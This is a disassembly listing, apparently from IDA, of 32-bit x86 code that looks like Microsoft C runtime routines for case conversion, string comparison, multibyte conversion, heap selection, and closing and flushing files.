sub_41D5AA	proc near		; CODE XREF: sub_4170ED+BFp
					; sub_4170ED+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBA14
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADE+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418069+6p
					; sub_418087+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43CBE4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A5+ADp
					; sub_419594+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A5+7Fp
					; sub_4185A5+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DBA14, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		call	near ptr 2680932h
		nop
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C9D8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DBA14, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2820000h
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 0C7h
		dd 3ACAC64Ch, 0B700BBBEh, 455CFEDCh, 0A164D100h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 0F5E890E8h, 3302463Dh,	89D48AD2h
		dd 4DB97015h, 81C88B00h, 0FFE1h, 6C0D8900h, 0C1004DB9h
		dd 0CA0308E1h, 0B9680D89h, 0E8C1004Dh, 0B964A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 463D99E8h, 0CFECA302h,	19E8004Dh
		dd 0A3000058h, 4DB9C8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024626h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 2606E856h, 50900227h, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB9D0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A9A0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB9D0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DCDA0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26608E1h
		test	eax, eax
		jnz	short loc_41DAEB
		call	near ptr 2680932h
		nop
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DCC80, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2690000h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 26D0468h
		nop
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2890000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 482217E8h
		dd 0A3C08502h, 4DCFE4h,	93E83674h, 83FFFFFEh, 0E8A303F8h
		dd 75004DCFh, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFE435FFh, 0E890004Dh
		dd 2472DF3h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DCFE4h
		dd 3921BFE8h, 0C0859002h, 4DCFDCA3h, 0C3017500h, 4244C8Bh
		dd 0CFD42583h, 8300004Dh, 4DCFD825h, 16A0000h, 4DCFD0A3h
		dd 0E00D8900h, 0C7004DCFh, 4DCFC805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFD8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DCFDC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
